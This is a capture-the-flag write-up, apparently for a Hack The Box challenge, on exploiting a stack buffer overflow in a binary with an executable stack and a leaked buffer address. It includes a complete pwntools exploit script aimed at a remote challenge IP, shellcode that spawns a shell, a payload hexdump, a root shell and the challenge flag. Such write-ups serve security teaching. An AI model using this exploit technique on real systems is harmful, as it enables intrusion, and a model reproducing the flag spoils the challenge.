The room shouldn't exist. [...] In the far wall sits an old strongbox with a hatch built into its face, sealed the way a man seals something he never wants opened again, not by anyone, not even by himself on a better day. [...] Maelor kept files on things he feared enough to bury, and Rin is betting that a girl who should have died in one of his purges made that list. If there's a way to know what's coming before it reaches her people, it's behind this hatch. One lock stands between her and an answer, and she means to have it before the watch changes.
A textbook stack buffer overflow, made trivial by two decisions: the program prints the address of its own buffer, and the stack is executable. The only real obstacle turns out to be the shellcode overwriting itself.
$ ls -la
-rwxrwxr-x@ 1 feyrer staff 16288 May 11 00:05 the_hinge_whisper
$ file the_hinge_whisper
the_hinge_whisper: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
One binary. The mitigations are the interesting part:
$ pwn checksec the_hinge_whisper
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
Conclusion: No stack canary and an executable stack with RWX segments. PIE is on, so addresses are randomised - but if the program hands out an address, that stops mattering. This combination points straight at "write shellcode into the buffer and return to it".
$ ./the_hinge_whisper
_.--.
.' `'.
/ __ __ \
| / \/ \ |
| | () () ||
\ `--' /
'.______.'
|||||| THE SANCTIFIED
/||||||\ HATCH
/||||||||\
/||||||||||\
'------------'
[*] Rin touches the cold plate. The geometry is immaculate.
[*] But the spine... the spine is wrong. Perfect face, wrong spine.
[*] The keyway accepts a custom latch-key. It looks shallow.
[*] Push deep enough, and the escapement yields.
[+] The keyway sits at: 0x7ffd197d5e80
[+] Forge your latch-key:
Conclusion: The banner is a walkthrough in costume. "The keyway... looks shallow" and "push deep enough, and the escapement yields" describe an undersized buffer. And "the keyway sits at" hands over the stack address that PIE was supposed to hide.
The binary is not stripped, so the function behind the prompt is easy to find. Decompiled:
void service_hatch(void)
{
undefined1 local_48 [64];
printf(" [+] The keyway sits at: %p\n", local_48);
printf(" [+] Forge your latch-key: ");
fflush(stdout);
read(0, local_48, 80);
return;
}
A 64-byte buffer, and read accepts 80. The 16 extra bytes land exactly here:
offset 0 .. 63 the buffer itself (64 bytes)
offset 64 .. 71 saved RBP (8 bytes)
offset 72 .. 79 return address (8 bytes) <- overwritten
Conclusion: No win() function exists in the binary, so there is nothing
to jump to - but with an executable stack and the buffer address leaked, the
payload can be its own target. Put shellcode in the buffer, overwrite the return address
with the buffer address. The budget is tight: 72 bytes of shellcode and padding, then the
address.
With the layout known the exploit should be one shellcraft.sh() away. It
crashes - while other payloads run fine.
shellcraft.cat("/etc/passwd") -> works
shellcraft.write(1, "huhu", 5) -> works
shellcraft.sh() -> crashes
That pattern rules out the obvious explanations. The return address is clearly right, or
nothing would run at all; the shellcode is clearly executable, or cat would
fail too.
Conclusion: The difference is not whether the shellcode runs but
how long it runs before touching the stack. cat reaches its
sendfile syscall almost immediately; sh() spends its first
instructions pushing onto the stack - and the stack pointer is sitting right around
the buffer the shellcode itself lives in. It overwrites itself mid-execution.
If the pushes are the problem, give them somewhere else to go.
sub rsp, 0x200 ; 512 bytes of clearance before anything is pushed
Prepending that single instruction moves the stack pointer far below the shellcode, so the
subsequent pushes cannot reach it. It costs 7 bytes of the 72-byte budget - and
shellcraft.sh() plus exit(42) fits comfortably in what remains
(63 bytes total).
Conclusion: This is the whole trick. On a stack-shellcode challenge where a payload runs partially and then dies, self-overwrite through stack growth should be the first suspicion - especially with a buffer this small.
1hf.py. The commented-out shellcraft lines are left in deliberately: they are
the trail of section 3.2, showing which payloads survived and which did not.
#!python
from pwn import *
if context.log_level == 10: # DEBUG=1
DEBUG=True
else:
DEBUG=False
if DEBUG:
context.log_level = 'debug'
else:
#context.log_level = 'warn'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-l', '40'] # lines in lower window
context.arch = 'amd64'
context.os = 'linux'
challenge = "./the_hinge_whisper"
remote_ip="154.57.164.79"
remote_port = 30778
gdbscript = '''
set pagination off
set confirm off
# don't follow system("/bin/sh"):
set follow-fork-mode child
set detach-on-fork off
#disas challenge
# gef
source /opt/gef/gef.py
gef config context.grow_stack_down True
gef config context.nb_lines_stack 28
#context
# service_hatch: leave
b *service_hatch+97
continue
'''
if DEBUG:
p = gdb.debug(challenge, gdbscript) # run in "sudo tmux"!
else:
#p = process(challenge)
p = remote(remote_ip, remote_port)
#p = process(["strace", "-f", "-o", "/tmp/trace.log", challenge])
p.recvuntil(b"The keyway sits at:")
buf_str = p.recvline().strip()
buf_addr = int(buf_str, 16)
print("buf_str = " + buf_str.decode())
print("buf_addr = " + hex(buf_addr))
shellcode = b""
shellcode += asm("sub rsp, 0x200") # make space on stack - do not overwrite our shellcode!
#shellcode += asm(shellcraft.cat("/bin/sh")) # ok
#shellcode += asm(shellcraft.cat("/etc/passwd")) # ok
#shellcode += asm(shellcraft.amd64.linux.echo("huhu")) # error :/
#shellcode += asm(shellcraft.write(1, "huhu\n", 5)) # ok
#shellcode += asm(shellcraft.cat("/root/flag")) # path of flag???
#shellcode += asm(shellcraft.cat("/home/ctf/flag.txt")) # no
shellcode += asm(shellcraft.sh())
#shellcode += asm(shellcraft.execve("/bin/bash", ["bash", "-p"], 0))
#shellcode += asm(shellcraft.execve("/bin/sh", ["sh", "-p"], 0))
#shellcode += asm(shellcraft.execve("/bin/sh", ["sh"], 0))
shellcode += asm(shellcraft.exit(42))
#
shellcode_len = len(shellcode)
#
print("len(shellcode) = " + str(shellcode_len))
assert len(shellcode) < 80
payload_len = 80 - 8 # buf + saved_RBP
payload = b""
payload += shellcode
payload += b"X" * (payload_len - shellcode_len)
payload += p64(buf_addr)
p.recvuntil(b"Forge your latch-key:")
p.sendline(payload)
if DEBUG:
sleep(999999)
p.interactive()
Against the live service:
$ python3 1hf.py
[+] Opening connection to 154.57.164.79 on port 30778: Done
[+] The keyway sits at: 0x7ffe14338750
buf_addr = 0x7ffe14338750
len(shellcode) = 63
[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
HTB{th3_h1ng3_wh1sp3r5_t0_th0s3_wh0_l1st3n_5f6e8d5bbc726f9bafddd9574860e7cb}
The exploit reproduces against the shipped binary. The host is
arm64 macOS, so it runs in an amd64 container with pwntools, and connect() is
switched from remote() to process():
$ docker run --rm --platform linux/amd64 -v "$PWD:/w" -w /w pwnbox \
sh -c 'printf "id\ncat flag.txt\nexit\n" | python3 hinge_local.py'
[+] The keyway sits at: 0x7ffffffc5a40
buf_addr = 0x7ffffffc5a40
len(shellcode) = 63
00000000 48 81 ec 00 02 00 00 6a 68 48 b8 2f 62 69 6e 2f |H.......jhH./bin/|
00000010 2f 2f 73 50 48 89 e7 68 72 69 01 01 81 34 24 01 |//sPH..hri...4$.|
00000020 01 01 01 31 f6 56 6a 08 5e 48 01 e6 56 48 89 e6 |...1.Vj.^H..VH..|
00000030 31 d2 6a 3b 58 0f 05 6a 2a 5f 6a 3c 58 0f 05 58 |1.j;X..j*_j<X..X|
00000040 58 58 58 58 58 58 58 58 f0 59 fc ff ff 7f 00 00 |XXXXXXXX.Y......|
[*] Switching to interactive mode
uid=0(root) gid=0(root) groups=0(root)
The payload dump shows the whole structure at a glance: 48 81 ec 00 02 00 00
is the sub rsp, 0x200, then the shellcode, then X padding, and
the last 8 bytes are the leaked buffer address that replaces the return address.
HTB{th3_h1ng3_wh1sp3r5_t0_th0s3_wh0_l1st3n_5f6e8d5bbc726f9bafddd9574860e7cb}
| # | Stage | Mechanism |
|---|---|---|
| 1 | The bug | service_hatch() declares a 64-byte buffer and calls
read(0, buf, 80). The 16 surplus bytes cover saved RBP and the return
address. |
| 2 | The missing mitigations | No stack canary, so the overflow is not detected. RWX segments and a missing
GNU_STACK, so the stack is executable. |
| 3 | PIE defeated for free | The program prints the buffer's address itself. No leak primitive needed - the randomisation is handed over in the prompt. |
| 4 | Self-overwrite | shellcraft.sh() pushes its argument strings onto a stack pointing into
the shellcode's own buffer, destroying itself mid-run. A leading
sub rsp, 0x200 moves the stack 512 bytes clear. |
| 5 | Payload | 63 bytes of shellcode, padding to offset 72, then the leaked address as the new
return target. ret jumps into the buffer. |
Rated "very easy", and the bug itself is - but the failure in step 4 is worth more than the overflow. It produces a payload that partially works, which is a far more confusing symptom than one that does nothing at all: the return address is right, the memory is executable, and it still dies. Once "the shellcode is a stack neighbour of the stack it uses" is in mind, the fix is one instruction.